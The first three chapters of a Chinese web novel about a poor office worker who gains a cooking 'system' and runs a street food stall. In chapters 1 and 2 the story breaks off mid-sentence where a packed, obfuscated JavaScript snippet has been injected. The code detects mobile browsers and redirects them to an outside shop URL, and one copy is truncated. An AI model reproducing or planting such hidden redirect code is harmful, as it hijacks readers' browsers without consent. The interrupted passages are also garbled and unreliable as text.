《绑定美食系统后,我成了白月光》 1. 第 1 章 房寨觉得自己这辈子做过最错误的决定,就是在那份购房合同上签了字。 不是,当时脑子是怎么想的呢?一个月薪六千五的普通职员,哪来的勇气在二线城市买一套总价一百六十万的房子?就因为售楼小姐那句“年轻人总要有个自己的家”? 家是有了。 两百四十个月的房贷,月供六千三。 也就是说,他每个月工资到手的第一件事,就是把除了吃饭和交通费之外的所有钱,一分不剩地打进银行账户。有时候甚至还不够,得靠花呗顶上。 这就导致一个很魔幻的现实——他有一套属于自己的房子,但他住不起。 是的,为了省钱,他把新房租出去了,自己租了个城中村的老破小,月租八百。每个月的租金差加上工资,刚好够还房贷。 数学上完美闭环了。 精神上也闭环了,闭得死死的。 今天是周五,也是发薪日。房寨坐在工位上,盯着手机银行里刚刚到账的6583.47元发呆。扣掉社保公积金之后,就剩这么多了。 他把6300转到了房贷卡上,余额283.47。 很好,还有两百多块,要撑到下周发绩效。绩效多少?不一定,上个月发了四百,这个月估计也差不多。 房寨深吸一口气,打开拼多多,把购物车里那袋十九块九的五斤大米下了单。然后又看了一眼外卖软件上最便宜的蛋炒饭,十八块,没舍得点。 算了,晚上回去自己炒。 他已经连续吃了半个月的蛋炒饭了。不是爱吃,是因为便宜。鸡蛋六毛一个,米饭算下来一顿也就五毛钱,加点盐和酱油,一顿饭成本不到两块钱。 省下来的每一分钱,都长成了墙上那套房子的一砖一瓦。 “房寨,走了,下班了。” 同事老王拍了拍他的肩膀,拎着包往外走。 房寨看了眼时间,下午五点半,准时下班。他慢吞吞地收拾东西,关了电脑,走出公司大门。 六月的傍晚天还亮着,街上人来人往,有人赶着回家,有人赶着赴约,有人赶着去接孩子。每个人都好像有地方要去,有事情要做,有人等着。 房寨没有。 他一个人走在回家的路上,路过烧烤摊时闻到孜然和辣椒的香味,肚子叫了一声。他看了一眼价目表,羊肉串三块钱一串,默默走过去了。 路过奶茶店,看了一眼,最便宜的也要十二,又走过去了。 路过水果店,看了一眼,苹果七块八一斤,还是走过去了。 他现在对一切消费都免疫了。不是意志力强,是真的没钱。 回到城中村,穿过那条永远湿漉漉的小巷子,爬上六楼,开门,开灯。 十五平的单间,一张床,一张桌子,一个塑料凳子,墙角堆着几箱泡面。窗户外面是另一栋楼的墙,间隔不到一米,白天也要开灯。 房寨换上拖鞋,洗了手,开始做晚饭。 淘米,煮饭,等饭熟的时候他刷了会儿手机。朋友圈里前同事晒了新买的车,大学同学晒了马尔代夫的海,表妹晒了男朋友送的包。 他划了几下就关掉了,没什么好看的。 饭熟了,他打了两个鸡蛋,起锅烧油。蛋液倒进锅里,刺啦一声响,香味飘出来,是今天唯一让他觉得活着还有点意思的时刻。 炒好饭,盛到碗里,坐在塑料凳子上,对着手机里的综艺节目,一口一口地吃。 蛋炒饭,还是蛋炒饭。 吃了半个月的蛋炒饭。 他忽然放下筷子,看着碗里金黄的米饭,莫名觉得鼻子有点酸。 不是,有什么好哭的?二十六岁的大男人,有房有工作,身体健康,不就是穷了点吗?这城市里穷的人多了去了,人家不也活得挺好? 可是真的好累啊。 不是身体累,是心里累。那种每天睁开眼睛就知道这一天和昨天没有任何区别的累。那种算来算去永远算不到头的累。那种明明已经拼尽全力了,却还是活得像条咸鱼的累。 他端起碗,把最后一口饭扒进嘴里,嚼了嚼,咽下去。 什么味道都没尝出来。 房寨把碗洗了,躺到床上,盯着天花板上那盏节能灯发愣。灯泡有点接触不良,隔几秒就闪一下,像某种摩斯密码。 他看不懂。 也不需要看懂,反正也没人会给他发消息。 手机屏幕亮了一下,是银行发来的还款提醒:【尊敬的客户,您本期房贷已成功扣款6300.00元,当前剩余本金1,527,331.68元。】 一百五十二万。 他闭上眼睛,觉得这个数字像一座山,就压在他胸口上,让他喘不过气。 “我真的……”他小声说,声音闷在枕头里,“还能还完吗?” 没人回答他。 灯泡又闪了一下。 就在这时候,他脑子里忽然响起一个声音。 不是那种幻听的嗡嗡声,是一个非常清晰、非常正经、甚至带着点官方口吻的声音,像银行客服,又像系统播报。 【叮!检测到宿主负面情绪值突破临界点,美食系统强制激活中……】 房寨猛地睁开眼睛。 什么? 【激活进度:10%……30%……70%……100%】 【激活成功。】 【欢迎绑定美食系统,系统编号:MS-2024-0621。】 【系统宣言:胃暖了,心就不冷了。】 房寨坐起来了。 他环顾四周,出租屋里什么都没有变,还是那盏闪个不停的灯,还是那面掉灰的墙,还是那个塑料凳子。 但一个半透明的面板正悬浮在他面前,蓝色的光幕上写着一行行字。 他使劲揉了揉眼睛,面板还在。 他又掐了一下自己的大腿,疼的。 不是做梦。 “你……你是什么东西?”他试探着问。 面板上的文字变了。 【本系统为美食类辅助系统,旨在通过美食制作与分享,提升宿主的生活幸福感及食客的生活幸福感。】 【检测到宿主当前生活幸福感指数:3/100。】 【综合评估:严重不足。】 3分?满分100只给3分? 房寨想反驳,但张了张嘴,发现自己确实没什么好反驳的。每天吃蛋炒饭的人,幸福感能高到哪去? “不是,你为什么找上我?”他还是有点懵,“这世界上比我惨的人多了去了吧?” 【系统筛选标准:极度缺乏幸福感+具备美食制作潜力+人品值达标。】 【宿主三项均符合条件。】 “……我人品好?”房寨指了指自己,有点意外。 【经检测,宿主过去三个月内:主动给流浪猫投食7次,为同事垫付午餐费5次未讨要,在地铁上让座23次,捡到钱包上交1次。综合人品评定:优秀。】 房寨愣住了。 这些事他自己都快忘了,系统怎么知道的? 还没等他反应过来,面板上又跳出了新的内容。 【新手礼包已发放,请查收。】 一个金光闪闪的礼盒图标出现在面板中央,房寨犹豫了一下,伸手点了上去。 礼盒打开,三道光芒融入他的身体。 【获得:厨神基础技能包(被动技能,已自动装备)】 【获得:初级食材感知(可感知半径10米内食材的新鲜度)】 【获得:新手任务卡×1】 房寨感觉脑子里忽然多了很多东西。各种烹饪知识、刀工技巧、火候判断,像是有人把这些年他看过的所有美食视频全部整理了一遍,然后直接灌进了他的记忆里。 他甚至本能地知道了一个鸡蛋放在掌心时应该用多大的力气敲开,才不会让蛋壳掉进碗里。 这种感觉很奇妙,像是忽然打通了任督二脉。 【新手任务已发布,请在任务面板中查看。】 房寨点开任务面板,一行字跳了出来。 【新手任务:在路边摊制作一份让食客感到幸福的蛋炒饭。】 【任务要求:至少获得1位食客的满意度评价≥90分。】 【任务奖励:房贷减免券×1,厨艺经验+100,随机食谱×1。】 【任务时限:24小时。】 房寨盯着“房贷减免券”这四个字,瞳孔地震了。 “等等等等,”他声音都变了,“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17511070|203000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房贷减免券?是我想的那个意思吗?能减免房贷?” 【是的。房贷减免券可直接抵扣宿主名下房贷本金,具体金额由任务完成度决定。】 房寨感觉自己的心跳加速了。 他下意识地看了一眼手机里那一百五十二万的剩余本金,又看了一眼系统面板上那行闪闪发光的字。 “我做。”他说,语气前所未有的坚定,“不管是什么任务,我做。” 【检测到宿主接受任务,任务计时开始:23小时59分58秒。】 房寨从床上跳下来,在狭小的房间里来回走了两圈,脑子转得飞快。 路边摊,蛋炒饭,让食客感到幸福。 他有厨神技能包,理论上做饭应该没问题。但是摆摊需要什么?推车?炉子?锅?碗?食材? 他翻了翻自己的余额,283.47元。 买一辆二手推车大概要一百多,煤气罐要押金,锅碗瓢盆加起来也得几十块,鸡蛋和米倒是便宜,但还要油盐酱醋…… 他打开计算器算了一下,把预算压到最低,大概需要两百块出头。 做完这单,他下周就要喝西北风了。 但是房贷减免券的诱惑太大了,大到他不愿意放弃。 “赌了。”房寨咬了咬牙,“反正已经这样了,还能更差吗?” 他换上衣服出门,在城中村的巷子里找到了一家卖二手厨具的小店。老板是个五十多岁的大叔,正在看手机上的短视频,抬头看了他一眼。 “小伙子,要什么?” “有没有便宜点的推车和炉子?” 老板指了指角落里一辆锈迹斑斑的铁皮推车:“那个,五十块,推回去自己擦擦就能用。炉子加煤气罐一起一百二,锅碗瓢盆送你几个旧的。” 房寨看了看推车,轮子还能转,铁皮虽然锈了但结构还算结实。他蹲下来检查了一下,炉子也是好的,锅底有点黑,但没破。 “一百五,全部打包,行不行?” 老板想了想:“行吧,反正放着也占地方。” 房寨付了钱,把东西一样样搬回出租屋。推车推起来咯吱咯吱响,轮子不太顺,但勉强能用。 他又去超市买了鸡蛋、大米、油、盐、酱油、葱。鸡蛋买了最便宜的那种,十五个一板,九块九。大米买了个小包装的,十斤,二十五块。其他调料加起来二十出头。 回到家一算账,总共花了两百零七块。 余额:76.47元。 房寨看着这个数字,深吸一口气。 没事,任务完成了有房贷减免券,怎么算都不亏。 他把推车擦干净,把锅碗瓢盆摆好,把鸡蛋和调料整整齐齐地码在推车下层。虽然都是旧东西,但收拾干净之后看起来还挺像那么回事。 一切都准备好了,他才想起一个很关键的问题。 在哪摆摊? 系统没有指定位置,只说“路边摊”。但路边摊也是有讲究的,太偏了没人,太繁华的地方有城管。 他想了想,决定去公司附近那条街。那一片写字楼多,加班的人也多,晚上七八点正是饿的时候。而且他知道那条街上有一个巷口,经常有人摆摊卖烤冷面和煎饼果子,应该相对安全。 【任务倒计时:18小时22分。】 明天周六,不上班,正好摆摊。 房寨躺在床上,盯着天花板上那盏还在闪的灯,脑子里乱糟糟的。 他想了很多事情。想明天万一没人买怎么办,想万一做出来不好吃怎么办,想万一被城管抓了怎么办。 但想得最多的,是那四个字。 房贷减免。 不管了,明天干了再说。 他翻了个身,闭上眼睛。 灯泡又闪了几下,终于彻底灭了。 房寨在黑暗中睁开眼,看了看那盏灭了的灯,没有起身去修。 他只是在心里默默说了一句。 明天,会好起来的吧? 窗外,六月的夜风穿过城中村密密麻麻的电线,发出细细的声响,像某种遥远的回音。 而那个悬浮在空气中的系统面板,在黑暗里发出淡淡的蓝光,上面只有一行字。 【任务状态:进行中。祝你好运,宿主。】 2. 第 2 章 房寨是被阳光晃醒的。 城中村的楼间距太窄,平时根本照不进太阳,但今天不知道怎么回事,对面那栋楼的玻璃幕墙恰好把一束光反射进了他的窗户,直直地打在脸上。 他睁开眼,恍惚了零点五秒,然后猛地坐起来。 系统面板还在。 蓝色的光幕悬浮在枕头旁边,上面显示着倒计时:【任务剩余时间:14小时06分。】 不是梦。 房寨揉了揉脸,穿上拖鞋去洗漱。自来水有点凉,他捧了一捧泼在脸上,对着镜子里那个头发乱糟糟、眼底挂着两个大黑眼圈的年轻人看了三秒钟。 二十六岁,长得还行,就是太瘦了,颧骨都快凸出来了。没办法,吃了半个月蛋炒饭,能胖才怪。 他擦干脸,把头发随便扒拉了两下,换上一件洗得发白的T恤和一条黑色运动裤,开始了今天的准备工作。 鸡蛋,十五个,挨个检查了一遍,没有散的。 大米,十斤,昨天晚上已经淘好了三斤,泡在水里。 葱,一小把,洗干净切成葱花,装进保鲜袋。 盐、酱油、油,分别装进小瓶子里。 碗筷,从二手店老板那里顺来的,一共八个碗,八双筷子,洗了三遍,又用开水烫了一遍。 他把所有东西整整齐齐地码上推车,又检查了一遍煤气罐的阀门和连接管,确认没有漏气。 一切就绪。 时间还早,才上午九点多。摆摊太早了没人,他打算下午四点出门,先去占个好位置,等到五点半左右开始有人下班,正好赶上第一波客流。 等待的时间最难熬。 房寨坐在塑料凳子上,拿着手机看了会儿美食视频。以前看这些视频就是过过眼瘾,但现在不一样了,他看着视频里厨师颠勺的动作,脑子里会自动拆解出每一个细节——手腕用力的角度、锅铲翻动的频率、火候变化的时机。 厨神技能包带来的不只是知识,还有一套完整的肌肉记忆。他感觉自己好像已经炒过几万次饭了,虽然实际上他连一次都没用新技能试过。 “不行,得先练练。” 他打了两个鸡蛋,起锅烧油,按照脑子里那个“标准流程”炒了一碗。 蛋液入锅的瞬间,他整个人忽然不一样了。 那种感觉很奇妙,像是身体里有什么东西被唤醒了。锅铲握在手里不再是冷冰冰的铁器,而像是手的延伸。他能感觉到锅底的温度变化,能判断出蛋液凝固的程度,甚至能在米饭下锅之前就预判出最终的成品状态。 翻炒,颠勺,调味,出锅。 整个过程不到三分钟,行云流水,一气呵成。 房寨看着碗里的蛋炒饭,愣住了。 米饭粒粒分明,每一颗都均匀地裹着金黄色的蛋液,葱花点缀其间,热气腾腾地往上冒。他用筷子拨了一下,饭粒在碗里弹跳,松散而有光泽。 这真的是他做的? 他夹了一筷子放进嘴里。 然后整个人僵住了。 不是难吃,是太好吃了。 米饭的软硬恰到好处,既有嚼劲又不会太干。鸡蛋的香味和葱香完美融合,酱油的咸鲜在后面缓缓铺开,最后留在舌尖上的是一丝若有若无的甜。 他吃了半个月的蛋炒饭,从来没有觉得蛋炒饭可以好吃到这个程度。 “卧槽。”房寨嚼着嘴里的饭,含混地骂了一句,“这也太离谱了。” 他三两口把整碗饭扒完,连碗底的小葱碎都舔干净了。 【系统提示:检测到宿主首次使用厨神技能包制作菜品,品质评定:B+。】 【评价:对于初学者而言已是超常发挥,但离真正的“治愈级”还有距离。继续努力。】 B+?这么好吃的蛋炒饭才B+? 房寨看了看碗,又看了看系统面板,忽然对这个系统的标准有了新的认识。 但不管怎么说,他心里有底了。就算系统评级不高,这碗饭的水平放在路边摊里绝对是降维打击。他吃过公司楼下那家炒饭,十三块钱一份,米饭硬得像子弹,鸡蛋少得可怜,跟他做的完全不是一个物种。 下午四点,太阳还很大。 房寨把推车推出了城中村,沿着大路往公司方向走。推车的轮子不太好,咯吱咯吱响了一路,引来不少路人侧目。他有点不好意思,低着头只管推。 到了那条街,他选的那个巷口果然还空着。巷口往里走是个死胡同,不影响行人通行,位置不算最好,但好在不挡路,城管一般也不会管得太严。 他把推车停好,支起炉子,把锅碗瓢盆一样样摆出来。 煤气罐放在推车下面,用一块布遮着。鸡蛋放在左边,米饭装在保温桶里,调料一字排开。葱花用保鲜袋装着,挂在推车把手上。 一切都准备好了,他站在推车后面,看着街上稀稀拉拉的行人,忽然有点紧张。 怎么吆喝? 他张了张嘴,没发出声音。 又张了张嘴,挤出一句:“炒……炒饭,蛋炒饭。” 声音小得跟蚊子似的,旁边经过的大妈压根没听见,目不斜视地走了过去。 房寨深吸一口气,提高了音量:“蛋炒饭!好吃的蛋炒饭!” 这次声音够大了,对面奶茶店的店员都看了他一眼。但路过的行人只是扫了一眼他的推车,又收回了目光,脚步都没慢下来。 没有人停下来。 一分钟,五分钟,十分钟。 房寨站在推车后面,看着人来人往,忽然觉得有点好笑。他一个社恐,怎么就接了这么一个需要吆喝的任务呢? 他正想着要不要再喊两声,手机响了。是银行发来的短信,提醒他下个月的房贷还款日。他看了一眼,把手机揣回兜里,咬了咬牙。 房贷还没还完,有什么资格社恐? “蛋炒饭!”他的声音终于放开了,带着一股豁出去的狠劲,“纯手工现炒,不好吃不要钱!” 这一嗓子倒是管用了。一个拎着公文包的中年男人停下来看了一眼,但看了看他简陋的推车和生锈的锅,摇了摇头又走了。 房寨:“……” 没事,再等等。 五点半,下班的人流开始出现了。 写字楼里涌出一批又一批人,有的行色匆匆,有的慢悠悠地晃,有的三五成群商量着去哪吃晚饭。房寨的摊位在一个不太起眼的角落,但架不住他嗓门大,连着喊了几嗓子之后,终于有人停下了。 是个年轻姑娘,穿着白衬衫和黑色西裤,头发随便扎了个马尾,眼睛底下是两个大黑眼圈——比房寨的还重。 她看了一眼房寨的推车,又看了一眼价目表。 房寨昨天晚上用纸板写了个价目表,就四个字:蛋炒饭,八块。 八块钱一份,在这个地段算是良心价了。旁边那家兰州拉面一份炒饭都要十五。 “八块钱一份?”姑娘确认了一下。 “对,八块。现炒的,不是那种提前炒好热着的。”房寨赶紧说。 姑娘犹豫了两秒钟,从包里掏出手机:“来一份吧。” 【叮!任务进度更新:已有1位食客下单。当前需获得至少1位食客满意度≥90分。】 房寨咽了口唾沫,拿起锅铲。 点火,热锅,倒油。 油温上来之后,他打了两个鸡蛋进碗里,用筷子快速搅散。蛋液倒进锅里,刺啦一声,金黄色的蛋花瞬间在油锅里绽开。 他的动作忽然变得从容了。 那种感觉又来了,像是身体里有一个经验丰富的老厨师在替他掌控一切。锅铲翻动,蛋花炒散,米饭从保温桶里舀出来倒进锅里,铲尖把饭团打散,每一粒米都精准地滚过锅底,裹上蛋液和油脂。 颠勺。米饭在半空中翻了个身,落回锅里时已经均匀地混合了鸡蛋和葱花。 加盐,加酱油,再翻炒几下,出锅。 整个过程不到四分钟,围观的人不多,但旁边奶茶店的店员已经探出半个身子在看。 房寨把炒饭装进一次性纸碗,撒上一点葱花点缀,递给了那个姑娘。 “小心烫。” 姑娘接过碗,用一次性勺子舀了一勺,吹了吹,送进嘴里。 然后她停下了。 房寨紧张地看着她。 姑娘嚼了两下,没说话,又舀了第二勺。第三勺。第四勺。她吃得不快,但每一口都嚼得很认真,像是在确认什么。 吃到第五口的时候,她忽然停下了勺子。 房寨心一沉。 不好吃?不对味?咸了淡了? 他正想开口问,姑娘的眼眶忽然红了。 不是那种酝酿了半天才挤出来的眼泪,是那种猝不及防的、连自己都没反应过来的红。眼眶一热,水光就泛上来了,然后一颗眼泪毫无征兆地掉了下来,砸在纸碗边上。 “你……”房寨慌了,“是不是太辣了?我没放辣椒啊?” 姑娘摇了摇头,又吃了一口,眼泪掉得更凶了。她用手背抹了一下眼睛,但眼泪根本止不住,一颗接一颗地往下掉。 旁边路过的人已经开始指指点点了。一个摆摊的把客人炒哭了,这场面怎么看怎么不对劲。 房寨手足无措地站在推车后面,不知道该说什么。 姑娘抽噎了两下,终于开口了,声音又哑又轻:“对不起,我不是故意的……就是,太好吃了。” 房寨愣了一下。 “和我妈妈做的一个味道。”姑娘低着头,用勺子拨着碗里的饭,“我妈妈以前也喜欢在炒饭里放很多葱花,也是这种……这种说不出来的味道。她走了三年了,我三年没吃过这个味道了。” 她抬起头,眼睛红红的,但嘴角是往上翘的。 “谢谢你。”她说,声音很轻,“真的谢谢你。” 房寨张了张嘴,想说点什么安慰的话,但发现自己什么也说不出来。他只是站在那里,看着这个陌生的姑娘端着一碗八块钱的蛋炒饭,在路边又哭又笑。 他忽然觉得鼻子也有点酸。 不是难过,是一种说不清的感觉。像是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“能不能加个微信?你出摊了跟我说一声。” 房寨被问得有点懵,他没想到自己随便摆个摊,居然还整出回头客了。 他正想着怎么回答,余光瞥见刚才那个姑娘已经吃完了,正把纸碗扔进旁边的垃圾桶。她走过来,脸上的泪痕已经干了,但眼睛还是有点肿。 “老板,”她拿出手机,“能加个微信吗?你下次出摊我再来。” 房寨犹豫了一下,还是掏出了手机。 姑娘扫了码,备注名字的时候顿了一下:“对了,你叫什么名字?” “房寨。” “房寨?”姑娘念了一遍,忽然笑了,“房债?你这名字起得也太有先见之明了。” 房寨苦笑了一下:“谁说不是呢。” 姑娘走了,走出几步又回过头来,冲他喊了一句:“老板,明天还做蛋炒饭吗?” “不一定。”房寨想了想,系统还没发布新任务,他也不知道明天该做什么。 “那我随缘碰吧。”姑娘笑了笑,转身汇入了人流。 房寨站在推车后面,看着她的背影消失在街角,忽然想起系统面板上那句话——胃暖了,心就不冷了。 他低头看了看自己的手,锅铲还握在手里,上面沾着油渍和葱花。 不知道为什么,他觉得今天晚上的风特别轻,特别软,连城中村那条湿漉漉的小巷子走起来都没有那么讨厌了。 【系统提示:新手任务已完成,下一阶段主线任务即将开启。】 【请宿主注意查收。】 房寨推着咯吱咯吱响的推车往回走,路灯把他的影子拉得老长。 他掏出手机看了一眼余额,76.47元。 今天卖了六份蛋炒饭,一份八块,四十八块钱。除去成本,大概赚了三十出头。 三十块钱,连个外卖都不够点的。 但房寨把那张皱巴巴的十块、五块、一块的票子捋平了,叠整齐了,塞进钱包里的时候,嘴角是往上翘的。 【随机食谱已发放:阳春面。】 【解锁条件:完成一次深夜摆摊任务。】 房寨看着新食谱的名字,脑子里已经开始想象那碗面的样子了。 清汤,细面,一把葱花,几滴猪油。 最简单的面,也是最难做好的面。 他加快了脚步,推车咯吱咯吱地响着,像是在给这座城市的夜晚伴奏。 不远处的天桥上,有人抱着吉他在唱歌。唱的是一首老歌,旋律很慢,歌词听不太清,但调子莫名让人觉得安心。 房寨路过天桥的时候,往吉他盒里丢了五块钱。 歌手冲他点了点头,继续唱。 而他推着那辆破旧的二手推车,穿过城市的灯火和夜色,回了家。 3. 第 3 章 回到出租屋已经快晚上九点了。 房寨把推车推进屋里,没急着收拾,先一屁股坐在了塑料凳子上,整个人像泄了气似的瘫着。 累。 不是身体累,是精神高度紧张之后的虚脱感。第一次摆摊,第一次面对陌生客人,第一次有人当着他的面哭出来——这一下午经历的事情,比他过去三个月加起来都刺激。 他仰着头发了会儿呆,天花板上那盏灯还是灭的。昨天灭了之后他就没管,现在屋里就靠走廊透进来的一点光勉强看得见。 哦对了,灯。 他站起来,把灯泡拧了拧,又亮了。接触不良的老毛病,拍一下就行,跟这间屋子里所有东西一样,凑合着能用就行。 坐下来,掏出手机。 微信多了十几条好友申请。 房寨愣了一下,点开一看,全是今天下午加了那个姑娘微信之后,不知道从哪儿传出去的。申请备注写得五花八门: “老板我是今天排你后面那个,求通过” “炒饭哥明天还出摊吗?” “听说你家蛋炒饭特别好吃,想试试” 房寨一个一个看过去,有点恍惚。 他有很久没收到过好友申请了。上一次有人主动加他微信,还是去年公司团建拉群的时候。 他挨个点了通过,又建了个群,群名叫“房寨的炒饭摊”。把今天加他的人和这些新通过的人全拉了进来。 群刚建好,消息就炸了。 “老板!终于找到组织了!” “明天还炒吗?几点出摊?我馋了一晚上了” “今天吃到的那份炒饭我真的哭死,太好吃了” “我同事说她吃哭了,我不信,老板你明天必须给我也整一份” 房寨捧着手机,看着一条条消息往上刷,嘴角不自觉地往上翘。 他打了一行字:“明天不一定出摊,出的话会在群里说。” 发出去之后又觉得语气太冷淡了,加了个表情包。 群里又是一阵哀嚎。 “别啊老板” “你是不是嫌八块钱太便宜了?你涨价我也可以接受的” “对对对,十五一份我都买” 房寨看着“十五一份我都买”这句话,心动了零点三秒,但很快又冷静下来。他看了一眼系统面板,新任务还没发布,明天做什么、在哪做、做给谁吃,他一概不知。 这系统什么毛病,任务非得卡着点儿发? 正想着,面板忽然闪了一下。 【主线任务已解锁。】 【任务名称:深夜的阳春面。】 【任务描述:真正的治愈,往往发生在最孤独的时刻。请在深夜时段(22:00-02:00)完成一次路边摊营业,制作阳春面。】 【任务要求:至少服务5位食客,平均满意度≥85分。】 【任务奖励:房贷减免券×1(金额由满意度决定),厨艺经验+200,厨具升级券×1。】 【限时:今晚22:00前必须出摊。】 房寨看了一眼手机右上角的时间。 21:17。 距离22:00还有四十三分钟。 “操!” 他从凳子上弹起来,差点把手机摔了。 推车还没收拾,食材还没准备,阳春面的食谱他还没看,面也没有,汤底也没有,什么都没有。 “系统你玩我呢?”他一边骂一边冲到推车旁边,把今天剩下的东西往外搬。 【温馨提示:抱怨不会让时间变多,但行动可以。】 【另:阳春面食谱已发放至宿主记忆库,请自行调取。】 房寨深吸一口气,闭上眼。 脑子里果然多了一段记忆。不是文字,不是视频,而是一种完整的、全方位的感知。他“知道”了一碗完美的阳春面应该是什么样子——汤要清,不能浊;面要韧,不能烂;猪油要自己熬,酱油要按比例配,葱花要切得细如发丝但入口又有存在感。 他甚至知道了一个秘密:阳春面的灵魂不是面,是汤。而汤的灵魂,是一滴猪油。 不是普通的猪油,是用红葱头炸过的猪油。红葱头的甜和猪油的香融合在一起,遇热释放,才能在清汤寡水的外表下藏着一颗浓郁到爆炸的心。 房寨睁开眼,脑子里已经有了完整的行动路线。 第一步,买食材。 他看了一眼余额,76.47元。 阳春面需要的材料:面条、猪板油、红葱头、酱油、盐、葱花。 猪板油不贵,菜市场收摊前去买,两三块钱能买一大块。红葱头更便宜,一块钱能买一小袋。面条买最普通的碱水面,两块钱的量够煮十碗。其他调料家里都有。 他抓起钥匙冲出家门,一路小跑着往菜市场赶。 城中村的菜市场收摊晚,这会儿还有几家亮着灯。房寨在一家猪肉摊前停下来,摊主正在收拾东西准备走。 “老板,还有猪板油吗?” “有,剩最后一块了,给你算三块钱。” “买了。” 红葱头在旁边卖干货的摊位买的,一块五一袋。碱水面在最后一家还没关门的面条摊买的,两块钱的。 一共花了六块五。 余额:69.97元。 房寨拎着东西往回跑,推车的轮子在城中村的石板路上咯吱咯吱响,引来几只流浪猫的注视。 回到家,时间21:35。 还有二十五分钟。 他开始疯狂备料。 猪板油切成小丁,冷水下锅,小火慢熬。这是最花时间的一步,但急不得,火大了猪油会有焦糊味,整碗面就毁了。 趁熬猪油的工夫,他把红葱头剥了,切成薄片。红葱头比洋葱小,味道更甜,切的时候不会辣眼睛,但有一股浓郁的香味,切完满手都是。 面条拿出来抖散,放在案板上备用。葱花切了满满一小碗,嫩绿的葱叶切成细圈,堆在一起像一座小山。 酱油他尝了一口,太咸了,兑了点凉白开,又加了一点点糖中和咸味。 一切都准备好了,猪油也熬得差不多了。 白色的猪板油丁在锅里慢慢缩小,变成金黄色的油渣,浮在澄清透明的油面上。房寨用漏勺把油渣捞出来,把红葱头片倒进热油里。 刺啦—— 红葱头的香味瞬间炸开,比葱花爆锅的味道更浓、更甜、更有层次。那股香气从出租屋的窗户飘出去,顺着楼道往上窜,估计整栋楼都闻到了。 房寨赶紧把火关了,用余温把红葱头炸到金黄酥脆,连油带葱倒进一个搪瓷碗里。 红葱油,成了。 时间21:52。 他换上衣服,把推车重新装好。炉子、锅、碗、筷子、面条、红葱油、酱油、盐、葱花。保温桶里装了半桶开水,方便随时煮面。 一切就绪,推车出门。 这次他没有去公司附近那条街。十点以后写字楼那边就没人了,得换个地方。 他想到了第三医院。 医院附近,任何时候都有人。深夜的急诊室门口,有刚做完手术的医生,有焦急等待结果的家属,有睡不着觉出来透气的病人和护工。那些人的深夜,比普通人的深夜更孤独、更漫长、更需要一碗热乎乎的东西。 房寨推着车往医院方向走,路上花了二十分钟。 到达医院门口的时候,刚好22:12。 他把推车停在急诊大楼侧面的一个角落里,这里不会挡住救护车通道,也不在正门口惹眼。路灯昏黄,照着他的小摊,在地上投下一小片暖色的光。 炉子点着了,锅里的水开始冒热气。 他把招牌翻过来,在背面写了三个大字:阳春面。 下面用小字写了一行:十元一碗。 比蛋炒饭贵了两块。不是他贪心,是阳春面的成本确实高一些,而且深夜摆摊,总得有点深夜的溢价。 医院门口的灯很亮,急诊室的红色灯牌一闪一闪的。不时有救护车呼啸着开进来,又安静地开走。 房寨站在推车后面,看着进出的人群。 凌晨十点多,医院里的人流比白天少了很多,但来来往往的也不少。有拎着保温桶的大妈,大概是刚给住院的家人送完饭。有穿着病号服的老大爷,在门口抽完烟慢慢往回走。有护士换班出来,一脸疲惫地伸了个懒腰。 他们路过房寨的摊位时,大多看了一眼就过去了。 阳春面,听起来就没有蛋炒饭有吸引力。 房寨等了十几分钟,一单生意都没有。 他有点着急了。群里倒是有几个人在问他在哪出摊,但他没好意思发位置——万一来了发现一个人都没有,多尴尬。 又等了五分钟,一个穿白大褂的年轻医生从急诊楼里走了出来。 三十岁出头的样子,胡子没刮干净,白大褂上沾着不知道是什么的污渍。他走路的时候低着头,步子很慢,像是每一步都要耗费很大力气。 他路过房寨的摊位时,停了一下。 看了一眼招牌上的“阳春面”三个字,又看了一眼房寨,犹豫了两秒。 “来一碗。”声音沙哑得像砂纸。 房寨马上点头:“好,稍等,现煮的。” 锅里的水已经烧开了,他抓了一把面条下进去,用长筷子轻轻拨散。面条在沸水里翻滚,两分钟左右就可以捞出来,不能煮太久,阳春面要的是那种弹牙的嚼劲。 碗底先放调料。一勺红葱油,一勺兑过的酱油,一小撮盐,再舀一勺滚烫的面汤冲进去。清亮的汤底瞬间染上一层淡淡的酱色,红葱油的香气被热气激发出来,那股味道浓烈而不霸道,温暖而不炽热。 面条捞出来,整齐地码进碗里,用筷子挑了两下,让每一根面条都裹上汤汁。最后撒上一把葱花,嫩绿的葱圈浮在清汤表面,像春天的柳絮落在水面上。 整个过程不到三分钟。 房寨把面端给医生:“小心烫。” 医生接过碗,蹲在路边,用筷子挑起一箸面,吹了吹,送进嘴里。 他吃得很慢,第一口嚼了很久,像是在品尝什么很复杂的东西。 第二口,第三口。 吃到第四口的时候,他忽然停下来,盯着碗里的面看了好几秒。 然后他端起碗,喝了一口汤。 清汤入口的瞬间,他闭上了眼睛。 房寨站在旁边,大气都不敢出。这已经是第二次了,他做的东西好像特别容易让人产生情绪波动。他开始怀疑自己是不是在饭里下了什么不该下的东西。 过了大概十几秒,医生睁开眼,眼眶有点红。 “这面里,”他顿了顿,“放了什么?” “红葱油。”房寨老实回答,“自己炸的。” 医生点了点头,没再说话,低下头把剩下的面吃完了。连汤都喝得干干净净,碗底只剩下几粒葱花。 他把空碗放在推车旁边,站起来,从口袋里掏出一张皱巴巴的十块钱,递给房寨。 “谢谢。”他说,声音还是沙哑的,但比刚才多了一点温度。 他转身往医院里走,走了几步,忽然又回过头来。 